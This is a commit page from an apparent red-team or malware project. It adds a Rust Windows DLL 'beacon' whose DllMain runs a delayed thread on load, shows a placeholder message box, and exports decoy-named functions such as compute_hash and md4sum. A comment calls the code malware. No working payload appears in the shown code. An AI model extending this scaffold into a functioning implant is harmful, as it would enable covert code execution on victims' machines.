andrew.rioux/sparse-v2
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: finished loading winpcap drivers

Browse Source
This commit is contained in:
Andrew Rioux
2025-02-09 14:54:13 -05:00
parent 6780b1595b
commit 3bc9b014f5
10 changed files with 159 additions and 28 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
sparse-windows-beacon/Cargo.toml
View File

@@ -8,3 +8,4 @@ crate-type = ["cdylib"]
[dependencies]
windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
winreg = "0.55"

23
sparse-windows-beacon/src/lib.rs
View File

@@ -1,6 +1,3 @@
#[unsafe(no_mangle)]
pub extern "C" fn compute_hash() {}
use windows::{
core::*,
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
@@ -9,13 +6,29 @@ use windows::{
#[unsafe(no_mangle)]
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH {
std::thread::spawn(|| unsafe {
MessageBoxW(None, w!("Hi"), w!("There"), MB_OK);
std::thread::spawn(|| {
std::thread::sleep(std::time::Duration::from_millis(500));
if let Err(_e) = hash_internals() {
// what are we going to do??
// go to the user and say "malware crashed"?
}
});
}
1
}
fn hash_internals() -> std::result::Result<(), std::io::Error> {
unsafe {
MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
}
Ok(())
}
#[unsafe(no_mangle)]
pub extern "C" fn compute_hash() {}
#[unsafe(no_mangle)]
pub extern "C" fn md4sum() {}
#[unsafe(no_mangle)]